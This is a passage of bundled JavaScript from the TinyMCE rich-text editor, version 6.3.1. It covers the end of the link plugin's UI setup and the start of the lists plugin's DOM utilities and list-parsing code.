      const updateState = () => api.setActive(!editor.mode.isReadOnly() && isInAnchor(editor, editor.selection.getNode()));
      updateState();
      return toggleState(editor, updateState);
    };
    const toggleEnabledState = editor => api => {
      const updateState = () => api.setEnabled(isInAnchor(editor, editor.selection.getNode()));
      updateState();
      return toggleState(editor, updateState);
    };
    const toggleUnlinkState = editor => api => {
      const hasLinks$1 = parents => hasLinks(parents) || hasLinksInSelection(editor.selection.getRng());
      const parents = editor.dom.getParents(editor.selection.getStart());
      api.setEnabled(hasLinks$1(parents));
      return toggleState(editor, e => api.setEnabled(hasLinks$1(e.parents)));
    };

    const setup = editor => {
      editor.addShortcut('Meta+K', '', () => {
        editor.execCommand('mceLink');
      });
    };

    const setupButtons = editor => {
      editor.ui.registry.addToggleButton('link', {
        icon: 'link',
        tooltip: 'Insert/edit link',
        onAction: openDialog(editor),
        onSetup: toggleActiveState(editor)
      });
      editor.ui.registry.addButton('openlink', {
        icon: 'new-tab',
        tooltip: 'Open link',
        onAction: gotoSelectedLink(editor),
        onSetup: toggleEnabledState(editor)
      });
      editor.ui.registry.addButton('unlink', {
        icon: 'unlink',
        tooltip: 'Remove link',
        onAction: () => unlink(editor),
        onSetup: toggleUnlinkState(editor)
      });
    };
    const setupMenuItems = editor => {
      editor.ui.registry.addMenuItem('openlink', {
        text: 'Open link',
        icon: 'new-tab',
        onAction: gotoSelectedLink(editor),
        onSetup: toggleEnabledState(editor)
      });
      editor.ui.registry.addMenuItem('link', {
        icon: 'link',
        text: 'Link...',
        shortcut: 'Meta+K',
        onAction: openDialog(editor)
      });
      editor.ui.registry.addMenuItem('unlink', {
        icon: 'unlink',
        text: 'Remove link',
        onAction: () => unlink(editor),
        onSetup: toggleUnlinkState(editor)
      });
    };
    const setupContextMenu = editor => {
      const inLink = 'link unlink openlink';
      const noLink = 'link';
      editor.ui.registry.addContextMenu('link', { update: element => hasLinks(editor.dom.getParents(element, 'a')) ? inLink : noLink });
    };
    const setupContextToolbars = editor => {
      const collapseSelectionToEnd = editor => {
        editor.selection.collapse(false);
      };
      const onSetupLink = buttonApi => {
        const node = editor.selection.getNode();
        buttonApi.setEnabled(isInAnchor(editor, node));
        return noop;
      };
      const getLinkText = value => {
        const anchor = getAnchorElement(editor);
        const onlyText = isOnlyTextSelected(editor);
        if (anchor.isNone() && onlyText) {
          const text = getAnchorText(editor.selection, anchor);
          return Optional.some(text.length > 0 ? text : value);
        } else {
          return Optional.none();
        }
      };
      editor.ui.registry.addContextForm('quicklink', {
        launch: {
          type: 'contextformtogglebutton',
          icon: 'link',
          tooltip: 'Link',
          onSetup: toggleActiveState(editor)
        },
        label: 'Link',
        predicate: node => hasContextToolbar(editor) && isInAnchor(editor, node),
        initValue: () => {
          const elm = getAnchorElement(editor);
          return elm.fold(constant(''), getHref);
        },
        commands: [
          {
            type: 'contextformtogglebutton',
            icon: 'link',
            tooltip: 'Link',
            primary: true,
            onSetup: buttonApi => {
              const node = editor.selection.getNode();
              buttonApi.setActive(isInAnchor(editor, node));
              return toggleActiveState(editor)(buttonApi);
            },
            onAction: formApi => {
              const value = formApi.getValue();
              const text = getLinkText(value);
              const attachState = {
                href: value,
                attach: noop
              };
              link(editor, attachState, {
                href: value,
                text,
                title: Optional.none(),
                rel: Optional.none(),
                target: Optional.none(),
                class: Optional.none()
              });
              collapseSelectionToEnd(editor);
              formApi.hide();
            }
          },
          {
            type: 'contextformbutton',
            icon: 'unlink',
            tooltip: 'Remove link',
            onSetup: onSetupLink,
            onAction: formApi => {
              unlink(editor);
              formApi.hide();
            }
          },
          {
            type: 'contextformbutton',
            icon: 'new-tab',
            tooltip: 'Open link',
            onSetup: onSetupLink,
            onAction: formApi => {
              gotoSelectedLink(editor)();
              formApi.hide();
            }
          }
        ]
      });
    };

    var Plugin = () => {
      global$5.add('link', editor => {
        register$1(editor);
        setupButtons(editor);
        setupMenuItems(editor);
        setupContextMenu(editor);
        setupContextToolbars(editor);
        setupGotoLinks(editor);
        register(editor);
        setup(editor);
      });
    };

    Plugin();

})();


/***/ }),
/* 21 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "lists" plugin for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/plugins/lists')
//   ES2015:
//     import 'tinymce/plugins/lists'
__webpack_require__(22);

/***/ }),
/* 22 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    var global$6 = tinymce.util.Tools.resolve('tinymce.PluginManager');

    const hasProto = (v, constructor, predicate) => {
      var _a;
      if (predicate(v, constructor.prototype)) {
        return true;
      } else {
        return ((_a = v.constructor) === null || _a === void 0 ? void 0 : _a.name) === constructor.name;
      }
    };
    const typeOf = x => {
      const t = typeof x;
      if (x === null) {
        return 'null';
      } else if (t === 'object' && Array.isArray(x)) {
        return 'array';
      } else if (t === 'object' && hasProto(x, String, (o, proto) => proto.isPrototypeOf(o))) {
        return 'string';
      } else {
        return t;
      }
    };
    const isType$1 = type => value => typeOf(value) === type;
    const isSimpleType = type => value => typeof value === type;
    const isString = isType$1('string');
    const isObject = isType$1('object');
    const isArray = isType$1('array');
    const isBoolean = isSimpleType('boolean');
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);
    const isFunction = isSimpleType('function');
    const isNumber = isSimpleType('number');

    const noop = () => {
    };
    const constant = value => {
      return () => {
        return value;
      };
    };
    const tripleEquals = (a, b) => {
      return a === b;
    };
    const not = f => t => !f(t);
    const never = constant(false);

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    const nativeSlice = Array.prototype.slice;
    const nativeIndexOf = Array.prototype.indexOf;
    const nativePush = Array.prototype.push;
    const rawIndexOf = (ts, t) => nativeIndexOf.call(ts, t);
    const contains$1 = (xs, x) => rawIndexOf(xs, x) > -1;
    const exists = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return true;
        }
      }
      return false;
    };
    const map = (xs, f) => {
      const len = xs.length;
      const r = new Array(len);
      for (let i = 0; i < len; i++) {
        const x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    const each$1 = (xs, f) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        f(x, i);
      }
    };
    const filter$1 = (xs, pred) => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          r.push(x);
        }
      }
      return r;
    };
    const groupBy = (xs, f) => {
      if (xs.length === 0) {
        return [];
      } else {
        let wasType = f(xs[0]);
        const r = [];
        let group = [];
        for (let i = 0, len = xs.length; i < len; i++) {
          const x = xs[i];
          const type = f(x);
          if (type !== wasType) {
            r.push(group);
            group = [];
          }
          wasType = type;
          group.push(x);
        }
        if (group.length !== 0) {
          r.push(group);
        }
        return r;
      }
    };
    const foldl = (xs, f, acc) => {
      each$1(xs, (x, i) => {
        acc = f(acc, x, i);
      });
      return acc;
    };
    const findUntil = (xs, pred, until) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return Optional.some(x);
        } else if (until(x, i)) {
          break;
        }
      }
      return Optional.none();
    };
    const find = (xs, pred) => {
      return findUntil(xs, pred, never);
    };
    const flatten = xs => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; ++i) {
        if (!isArray(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    const bind = (xs, f) => flatten(map(xs, f));
    const reverse = xs => {
      const r = nativeSlice.call(xs, 0);
      r.reverse();
      return r;
    };
    const get$1 = (xs, i) => i >= 0 && i < xs.length ? Optional.some(xs[i]) : Optional.none();
    const head = xs => get$1(xs, 0);
    const last = xs => get$1(xs, xs.length - 1);
    const unique = (xs, comparator) => {
      const r = [];
      const isDuplicated = isFunction(comparator) ? x => exists(r, i => comparator(i, x)) : x => contains$1(r, x);
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (!isDuplicated(x)) {
          r.push(x);
        }
      }
      return r;
    };

    const is$2 = (lhs, rhs, comparator = tripleEquals) => lhs.exists(left => comparator(left, rhs));
    const equals = (lhs, rhs, comparator = tripleEquals) => lift2(lhs, rhs, comparator).getOr(lhs.isNone() && rhs.isNone());
    const lift2 = (oa, ob, f) => oa.isSome() && ob.isSome() ? Optional.some(f(oa.getOrDie(), ob.getOrDie())) : Optional.none();

    const ELEMENT = 1;

    const fromHtml = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        const message = 'HTML does not have a single root node';
        console.error(message, html);
        throw new Error(message);
      }
      return fromDom$1(div.childNodes[0]);
    };
    const fromTag = (tag, scope) => {
      const doc = scope || document;
      const node = doc.createElement(tag);
      return fromDom$1(node);
    };
    const fromText = (text, scope) => {
      const doc = scope || document;
      const node = doc.createTextNode(text);
      return fromDom$1(node);
    };
    const fromDom$1 = node => {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: node };
    };
    const fromPoint = (docElm, x, y) => Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom$1);
    const SugarElement = {
      fromHtml,
      fromTag,
      fromText,
      fromDom: fromDom$1,
      fromPoint
    };

    const is$1 = (element, selector) => {
      const dom = element.dom;
      if (dom.nodeType !== ELEMENT) {
        return false;
      } else {
        const elem = dom;
        if (elem.matches !== undefined) {
          return elem.matches(selector);
        } else if (elem.msMatchesSelector !== undefined) {
          return elem.msMatchesSelector(selector);
        } else if (elem.webkitMatchesSelector !== undefined) {
          return elem.webkitMatchesSelector(selector);
        } else if (elem.mozMatchesSelector !== undefined) {
          return elem.mozMatchesSelector(selector);
        } else {
          throw new Error('Browser lacks native selectors');
        }
      }
    };

    const eq = (e1, e2) => e1.dom === e2.dom;
    const contains = (e1, e2) => {
      const d1 = e1.dom;
      const d2 = e2.dom;
      return d1 === d2 ? false : d1.contains(d2);
    };
    const is = is$1;

    var ClosestOrAncestor = (is, ancestor, scope, a, isRoot) => {
      if (is(scope, a)) {
        return Optional.some(scope);
      } else if (isFunction(isRoot) && isRoot(scope)) {
        return Optional.none();
      } else {
        return ancestor(scope, a, isRoot);
      }
    };

    typeof window !== 'undefined' ? window : Function('return this;')();

    const name = element => {
      const r = element.dom.nodeName;
      return r.toLowerCase();
    };
    const type = element => element.dom.nodeType;
    const isType = t => element => type(element) === t;
    const isElement$1 = isType(ELEMENT);
    const isTag = tag => e => isElement$1(e) && name(e) === tag;

    const parent = element => Optional.from(element.dom.parentNode).map(SugarElement.fromDom);
    const parentElement = element => Optional.from(element.dom.parentElement).map(SugarElement.fromDom);
    const nextSibling = element => Optional.from(element.dom.nextSibling).map(SugarElement.fromDom);
    const children = element => map(element.dom.childNodes, SugarElement.fromDom);
    const child = (element, index) => {
      const cs = element.dom.childNodes;
      return Optional.from(cs[index]).map(SugarElement.fromDom);
    };
    const firstChild = element => child(element, 0);
    const lastChild = element => child(element, element.dom.childNodes.length - 1);

    const ancestor = (scope, predicate, isRoot) => {
      let element = scope.dom;
      const stop = isFunction(isRoot) ? isRoot : never;
      while (element.parentNode) {
        element = element.parentNode;
        const el = SugarElement.fromDom(element);
        if (predicate(el)) {
          return Optional.some(el);
        } else if (stop(el)) {
          break;
        }
      }
      return Optional.none();
    };
    const closest = (scope, predicate, isRoot) => {
      const is = (s, test) => test(s);
      return ClosestOrAncestor(is, ancestor, scope, predicate, isRoot);
    };

    const before$1 = (marker, element) => {
      const parent$1 = parent(marker);
      parent$1.each(v => {
        v.dom.insertBefore(element.dom, marker.dom);
      });
    };
    const after = (marker, element) => {
      const sibling = nextSibling(marker);
      sibling.fold(() => {
        const parent$1 = parent(marker);
        parent$1.each(v => {
          append$1(v, element);
        });
      }, v => {
        before$1(v, element);
      });
    };
    const append$1 = (parent, element) => {
      parent.dom.appendChild(element.dom);
    };

    const before = (marker, elements) => {
      each$1(elements, x => {
        before$1(marker, x);
      });
    };
    const append = (parent, elements) => {
      each$1(elements, x => {
        append$1(parent, x);
      });
    };

    const empty = element => {
      element.dom.textContent = '';
      each$1(children(element), rogue => {
        remove(rogue);
      });
    };
    const remove = element => {
      const dom = element.dom;
      if (dom.parentNode !== null) {
        dom.parentNode.removeChild(dom);
      }
    };

    var global$5 = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils');

    var global$4 = tinymce.util.Tools.resolve('tinymce.dom.TreeWalker');

    var global$3 = tinymce.util.Tools.resolve('tinymce.util.VK');

    const fromDom = nodes => map(nodes, SugarElement.fromDom);

    const keys = Object.keys;
    const each = (obj, f) => {
      const props = keys(obj);
      for (let k = 0, len = props.length; k < len; k++) {
        const i = props[k];
        const x = obj[i];
        f(x, i);
      }
    };
    const objAcc = r => (x, i) => {
      r[i] = x;
    };
    const internalFilter = (obj, pred, onTrue, onFalse) => {
      each(obj, (x, i) => {
        (pred(x, i) ? onTrue : onFalse)(x, i);
      });
    };
    const filter = (obj, pred) => {
      const t = {};
      internalFilter(obj, pred, objAcc(t), noop);
      return t;
    };

    const rawSet = (dom, key, value) => {
      if (isString(value) || isBoolean(value) || isNumber(value)) {
        dom.setAttribute(key, value + '');
      } else {
        console.error('Invalid call to Attribute.set. Key ', key, ':: Value ', value, ':: Element ', dom);
        throw new Error('Attribute value was not simple');
      }
    };
    const setAll = (element, attrs) => {
      const dom = element.dom;
      each(attrs, (v, k) => {
        rawSet(dom, k, v);
      });
    };
    const clone$1 = element => foldl(element.dom.attributes, (acc, attr) => {
      acc[attr.name] = attr.value;
      return acc;
    }, {});

    const clone = (original, isDeep) => SugarElement.fromDom(original.dom.cloneNode(isDeep));
    const deep = original => clone(original, true);
    const shallowAs = (original, tag) => {
      const nu = SugarElement.fromTag(tag);
      const attributes = clone$1(original);
      setAll(nu, attributes);
      return nu;
    };
    const mutate = (original, tag) => {
      const nu = shallowAs(original, tag);
      after(original, nu);
      const children$1 = children(original);
      append(nu, children$1);
      remove(original);
      return nu;
    };

    var global$2 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    const matchNodeName = name => node => isNonNullable(node) && node.nodeName.toLowerCase() === name;
    const matchNodeNames = regex => node => isNonNullable(node) && regex.test(node.nodeName);
    const isTextNode = node => isNonNullable(node) && node.nodeType === 3;
    const isElement = node => isNonNullable(node) && node.nodeType === 1;
    const isListNode = matchNodeNames(/^(OL|UL|DL)$/);
    const isOlUlNode = matchNodeNames(/^(OL|UL)$/);
    const isOlNode = matchNodeName('ol');
    const isListItemNode = matchNodeNames(/^(LI|DT|DD)$/);
    const isDlItemNode = matchNodeNames(/^(DT|DD)$/);
    const isTableCellNode = matchNodeNames(/^(TH|TD)$/);
    const isBr = matchNodeName('br');
    const isFirstChild = node => {
      var _a;
      return ((_a = node.parentNode) === null || _a === void 0 ? void 0 : _a.firstChild) === node;
    };
    const isTextBlock = (editor, node) => isNonNullable(node) && node.nodeName in editor.schema.getTextBlockElements();
    const isBlock = (node, blockElements) => isNonNullable(node) && node.nodeName in blockElements;
    const isBogusBr = (dom, node) => {
      if (!isBr(node)) {
        return false;
      }
      return dom.isBlock(node.nextSibling) && !isBr(node.previousSibling);
    };
    const isEmpty$1 = (dom, elm, keepBookmarks) => {
      const empty = dom.isEmpty(elm);
      if (keepBookmarks && dom.select('span[data-mce-type=bookmark]', elm).length > 0) {
        return false;
      }
      return empty;
    };
    const isChildOfBody = (dom, elm) => dom.isChildOf(elm, dom.getRoot());

    const option = name => editor => editor.options.get(name);
    const register$3 = editor => {
      const registerOption = editor.options.register;
      registerOption('lists_indent_on_tab', {
        processor: 'boolean',
        default: true
      });
    };
    const shouldIndentOnTab = option('lists_indent_on_tab');
    const getForcedRootBlock = option('forced_root_block');
    const getForcedRootBlockAttrs = option('forced_root_block_attrs');

    const createTextBlock = (editor, contentNode) => {
      const dom = editor.dom;
      const blockElements = editor.schema.getBlockElements();
      const fragment = dom.createFragment();
      const blockName = getForcedRootBlock(editor);
      const blockAttrs = getForcedRootBlockAttrs(editor);
      let node;
      let textBlock;
      let hasContentNode = false;
      textBlock = dom.create(blockName, blockAttrs);
      if (!isBlock(contentNode.firstChild, blockElements)) {
        fragment.appendChild(textBlock);
      }
      while (node = contentNode.firstChild) {
        const nodeName = node.nodeName;
        if (!hasContentNode && (nodeName !== 'SPAN' || node.getAttribute('data-mce-type') !== 'bookmark')) {
          hasContentNode = true;
        }
        if (isBlock(node, blockElements)) {
          fragment.appendChild(node);
          textBlock = null;
        } else {
          if (!textBlock) {
            textBlock = dom.create(blockName, blockAttrs);
            fragment.appendChild(textBlock);
          }
          textBlock.appendChild(node);
        }
      }
      if (!hasContentNode && textBlock) {
        textBlock.appendChild(dom.create('br', { 'data-mce-bogus': '1' }));
      }
      return fragment;
    };

    const DOM$2 = global$2.DOM;
    const splitList = (editor, list, li) => {
      const removeAndKeepBookmarks = targetNode => {
        const parent = targetNode.parentNode;
        if (parent) {
          global$1.each(bookmarks, node => {
            parent.insertBefore(node, li.parentNode);
          });
        }
        DOM$2.remove(targetNode);
      };
      const bookmarks = DOM$2.select('span[data-mce-type="bookmark"]', list);
      const newBlock = createTextBlock(editor, li);
      const tmpRng = DOM$2.createRng();
      tmpRng.setStartAfter(li);
      tmpRng.setEndAfter(list);
      const fragment = tmpRng.extractContents();
      for (let node = fragment.firstChild; node; node = node.firstChild) {
        if (node.nodeName === 'LI' && editor.dom.isEmpty(node)) {
          DOM$2.remove(node);
          break;
        }
      }
      if (!editor.dom.isEmpty(fragment)) {
        DOM$2.insertAfter(fragment, list);
      }
      DOM$2.insertAfter(newBlock, list);
      const parent = li.parentElement;
      if (parent && isEmpty$1(editor.dom, parent)) {
        removeAndKeepBookmarks(parent);
      }
      DOM$2.remove(li);
      if (isEmpty$1(editor.dom, list)) {
        DOM$2.remove(list);
      }
    };

    const isDescriptionDetail = isTag('dd');
    const isDescriptionTerm = isTag('dt');
    const outdentDlItem = (editor, item) => {
      if (isDescriptionDetail(item)) {
        mutate(item, 'dt');
      } else if (isDescriptionTerm(item)) {
        parentElement(item).each(dl => splitList(editor, dl.dom, item.dom));
      }
    };
    const indentDlItem = item => {
      if (isDescriptionTerm(item)) {
        mutate(item, 'dd');
      }
    };
    const dlIndentation = (editor, indentation, dlItems) => {
      if (indentation === 'Indent') {
        each$1(dlItems, indentDlItem);
      } else {
        each$1(dlItems, item => outdentDlItem(editor, item));
      }
    };

    const getNormalizedPoint = (container, offset) => {
      if (isTextNode(container)) {
        return {
          container,
          offset
        };
      }
      const node = global$5.getNode(container, offset);
      if (isTextNode(node)) {
        return {
          container: node,
          offset: offset >= container.childNodes.length ? node.data.length : 0
        };
      } else if (node.previousSibling && isTextNode(node.previousSibling)) {
        return {
          container: node.previousSibling,
          offset: node.previousSibling.data.length
        };
      } else if (node.nextSibling && isTextNode(node.nextSibling)) {
        return {
          container: node.nextSibling,
          offset: 0
        };
      }
      return {
        container,
        offset
      };
    };
    const normalizeRange = rng => {
      const outRng = rng.cloneRange();
      const rangeStart = getNormalizedPoint(rng.startContainer, rng.startOffset);
      outRng.setStart(rangeStart.container, rangeStart.offset);
      const rangeEnd = getNormalizedPoint(rng.endContainer, rng.endOffset);
      outRng.setEnd(rangeEnd.container, rangeEnd.offset);
      return outRng;
    };

    const listNames = [
      'OL',
      'UL',
      'DL'
    ];
    const listSelector = listNames.join(',');
    const getParentList = (editor, node) => {
      const selectionStart = node || editor.selection.getStart(true);
      return editor.dom.getParent(selectionStart, listSelector, getClosestListHost(editor, selectionStart));
    };
    const isParentListSelected = (parentList, selectedBlocks) => isNonNullable(parentList) && selectedBlocks.length === 1 && selectedBlocks[0] === parentList;
    const findSubLists = parentList => filter$1(parentList.querySelectorAll(listSelector), isListNode);
    const getSelectedSubLists = editor => {
      const parentList = getParentList(editor);
      const selectedBlocks = editor.selection.getSelectedBlocks();
      if (isParentListSelected(parentList, selectedBlocks)) {
        return findSubLists(parentList);
      } else {
        return filter$1(selectedBlocks, elm => {
          return isListNode(elm) && parentList !== elm;
        });
      }
    };
    const findParentListItemsNodes = (editor, elms) => {
      const listItemsElms = global$1.map(elms, elm => {
        const parentLi = editor.dom.getParent(elm, 'li,dd,dt', getClosestListHost(editor, elm));
        return parentLi ? parentLi : elm;
      });
      return unique(listItemsElms);
    };
    const getSelectedListItems = editor => {
      const selectedBlocks = editor.selection.getSelectedBlocks();
      return filter$1(findParentListItemsNodes(editor, selectedBlocks), isListItemNode);
    };
    const getSelectedDlItems = editor => filter$1(getSelectedListItems(editor), isDlItemNode);
    const getClosestEditingHost = (editor, elm) => {
      const parentTableCell = editor.dom.getParents(elm, 'TD,TH');
      return parentTableCell.length > 0 ? parentTableCell[0] : editor.getBody();
    };
    const isListHost = (schema, node) => !isListNode(node) && !isListItemNode(node) && exists(listNames, listName => schema.isValidChild(node.nodeName, listName));
    const getClosestListHost = (editor, elm) => {
      const parentBlocks = editor.dom.getParents(elm, editor.dom.isBlock);
      const parentBlock = find(parentBlocks, elm => isListHost(editor.schema, elm));
      return parentBlock.getOr(editor.getBody());
    };
    const findLastParentListNode = (editor, elm) => {
      const parentLists = editor.dom.getParents(elm, 'ol,ul', getClosestListHost(editor, elm));
      return last(parentLists);
    };
    const getSelectedLists = editor => {
      const firstList = findLastParentListNode(editor, editor.selection.getStart());
      const subsequentLists = filter$1(editor.selection.getSelectedBlocks(), isOlUlNode);
      return firstList.toArray().concat(subsequentLists);
    };
    const getSelectedListRoots = editor => {
      const selectedLists = getSelectedLists(editor);
      return getUniqueListRoots(editor, selectedLists);
    };
    const getUniqueListRoots = (editor, lists) => {
      const listRoots = map(lists, list => findLastParentListNode(editor, list).getOr(list));
      return unique(listRoots);
    };

    const isCustomList = list => /\btox\-/.test(list.className);
    const inList = (parents, listName) => findUntil(parents, isListNode, isTableCellNode).exists(list => list.nodeName === listName && !isCustomList(list));
    const isWithinNonEditable = (editor, element) => element !== null && editor.dom.getContentEditableParent(element) === 'false';
    const selectionIsWithinNonEditableList = editor => {
      const parentList = getParentList(editor);
      return isWithinNonEditable(editor, parentList);
    };
    const isWithinNonEditableList = (editor, element) => {
      const parentList = editor.dom.getParent(element, 'ol,ul,dl');
      return isWithinNonEditable(editor, parentList);
    };
    const setNodeChangeHandler = (editor, nodeChangeHandler) => {
      const initialNode = editor.selection.getNode();
      nodeChangeHandler({
        parents: editor.dom.getParents(initialNode),
        element: initialNode
      });
      editor.on('NodeChange', nodeChangeHandler);
      return () => editor.off('NodeChange', nodeChangeHandler);
    };

    const fromElements = (elements, scope) => {
      const doc = scope || document;
      const fragment = doc.createDocumentFragment();
      each$1(elements, element => {
        fragment.appendChild(element.dom);
      });
      return SugarElement.fromDom(fragment);
    };

    const fireListEvent = (editor, action, element) => editor.dispatch('ListMutation', {
      action,
      element
    });

    const blank = r => s => s.replace(r, '');
    const trim = blank(/^\s+|\s+$/g);
    const isNotEmpty = s => s.length > 0;
    const isEmpty = s => !isNotEmpty(s);

    const isSupported = dom => dom.style !== undefined && isFunction(dom.style.getPropertyValue);

    const internalSet = (dom, property, value) => {
      if (!isString(value)) {
        console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom);
        throw new Error('CSS value must be a string: ' + value);
      }
      if (isSupported(dom)) {
        dom.style.setProperty(property, value);
      }
    };
    const set = (element, property, value) => {
      const dom = element.dom;
      internalSet(dom, property, value);
    };

    const joinSegment = (parent, child) => {
      append$1(parent.item, child.list);
    };
    const joinSegments = segments => {
      for (let i = 1; i < segments.length; i++) {
        joinSegment(segments[i - 1], segments[i]);
      }
    };
    const appendSegments = (head$1, tail) => {
      lift2(last(head$1), head(tail), joinSegment);
    };
    const createSegment = (scope, listType) => {
      const segment = {
        list: SugarElement.fromTag(listType, scope),
        item: SugarElement.fromTag('li', scope)
      };
      append$1(segment.list, segment.item);
      return segment;
    };
    const createSegments = (scope, entry, size) => {
      const segments = [];
      for (let i = 0; i < size; i++) {
        segments.push(createSegment(scope, entry.listType));
      }
      return segments;
    };
    const populateSegments = (segments, entry) => {
      for (let i = 0; i < segments.length - 1; i++) {
        set(segments[i].item, 'list-style-type', 'none');
      }
      last(segments).each(segment => {
        setAll(segment.list, entry.listAttributes);
        setAll(segment.item, entry.itemAttributes);
        append(segment.item, entry.content);
      });
    };
    const normalizeSegment = (segment, entry) => {
      if (name(segment.list) !== entry.listType) {
        segment.list = mutate(segment.list, entry.listType);
      }
      setAll(segment.list, entry.listAttributes);
    };
    const createItem = (scope, attr, content) => {
      const item = SugarElement.fromTag('li', scope);
      setAll(item, attr);
      append(item, content);
      return item;
    };
    const appendItem = (segment, item) => {
      append$1(segment.list, item);
      segment.item = item;
    };
    const writeShallow = (scope, cast, entry) => {
      const newCast = cast.slice(0, entry.depth);
      last(newCast).each(segment => {
        const item = createItem(scope, entry.itemAttributes, entry.content);
        appendItem(segment, item);
        normalizeSegment(segment, entry);
      });
      return newCast;
    };
    const writeDeep = (scope, cast, entry) => {
      const segments = createSegments(scope, entry, entry.depth - cast.length);
      joinSegments(segments);
      populateSegments(segments, entry);
      appendSegments(cast, segments);
      return cast.concat(segments);
    };
    const composeList = (scope, entries) => {
      const cast = foldl(entries, (cast, entry) => {
        return entry.depth > cast.length ? writeDeep(scope, cast, entry) : writeShallow(scope, cast, entry);
      }, []);
      return head(cast).map(segment => segment.list);
    };

    const isList = el => is(el, 'OL,UL');
    const hasFirstChildList = el => firstChild(el).exists(isList);
    const hasLastChildList = el => lastChild(el).exists(isList);

    const isIndented = entry => entry.depth > 0;
    const isSelected = entry => entry.isSelected;
    const cloneItemContent = li => {
      const children$1 = children(li);
      const content = hasLastChildList(li) ? children$1.slice(0, -1) : children$1;
      return map(content, deep);
    };
    const createEntry = (li, depth, isSelected) => parent(li).filter(isElement$1).map(list => ({
      depth,
      dirty: false,
      isSelected,
      content: cloneItemContent(li),
      itemAttributes: clone$1(li),
      listAttributes: clone$1(list),
      listType: name(list)
    }));

    const indentEntry = (indentation, entry) => {
      switch (indentation) {
      case 'Indent':
        entry.depth++;
        break;
      case 'Outdent':
        entry.depth--;
        break;
      case 'Flatten':
        entry.depth = 0;
      }
      entry.dirty = true;
    };

    const cloneListProperties = (target, source) => {
      target.listType = source.listType;
      target.listAttributes = { ...source.listAttributes };
    };
    const cleanListProperties = entry => {
      entry.listAttributes = filter(entry.listAttributes, (_value, key) => key !== 'start');
    };
    const closestSiblingEntry = (entries, start) => {
      const depth = entries[start].depth;
      const matches = entry => entry.depth === depth && !entry.dirty;
      const until = entry => entry.depth < depth;
      return findUntil(reverse(entries.slice(0, start)), matches, until).orThunk(() => findUntil(entries.slice(start + 1), matches, until));
    };
    const normalizeEntries = entries => {
      each$1(entries, (entry, i) => {
        closestSiblingEntry(entries, i).fold(() => {
          if (entry.dirty) {
            cleanListProperties(entry);
          }
        }, matchingEntry => cloneListProperties(entry, matchingEntry));
      });
      return entries;
    };

    const Cell = initial => {
      let value = initial;
      const get = () => {
        return value;
      };
      const set = v => {
        value = v;
      };
      return {
        get,
        set
      };
    };

    const parseItem = (depth, itemSelection, selectionState, item) => firstChild(item).filter(isList).fold(() => {
      itemSelection.each(selection => {
        if (eq(selection.start, item)) {
          selectionState.set(true);
        }
      });
      const currentItemEntry = createEntry(item, depth, selectionState.get());
      itemSelection.each(selection => {
        if (eq(selection.end, item)) {
          selectionState.set(false);
        }
      });
      const childListEntries = lastChild(item).filter(isList).map(list => parseList(depth, itemSelection, selectionState, list)).getOr([]);
      return currentItemEntry.toArray().concat(childListEntries);
    }, list => parseList(depth, itemSelection, selectionState, list));
    const parseList = (depth, itemSelection, selectionState, list) => bind(children(list), element => {
      const parser = isList(element) ? parseList : parseItem;
      const newDepth = depth + 1;
      return parser(newDepth, itemSelection, selectionState, element);
    });
    const parseLists = (lists, itemSelection) => {
      const selectionState = Cell(false);
      const initialDepth = 0;
      return map(lists, list => ({
        sourceList: list,
        entries: parseList(initialDepth, itemSelection, selectionState, list)
      }));
    };

    const outdentedComposer = (editor, entries) => {
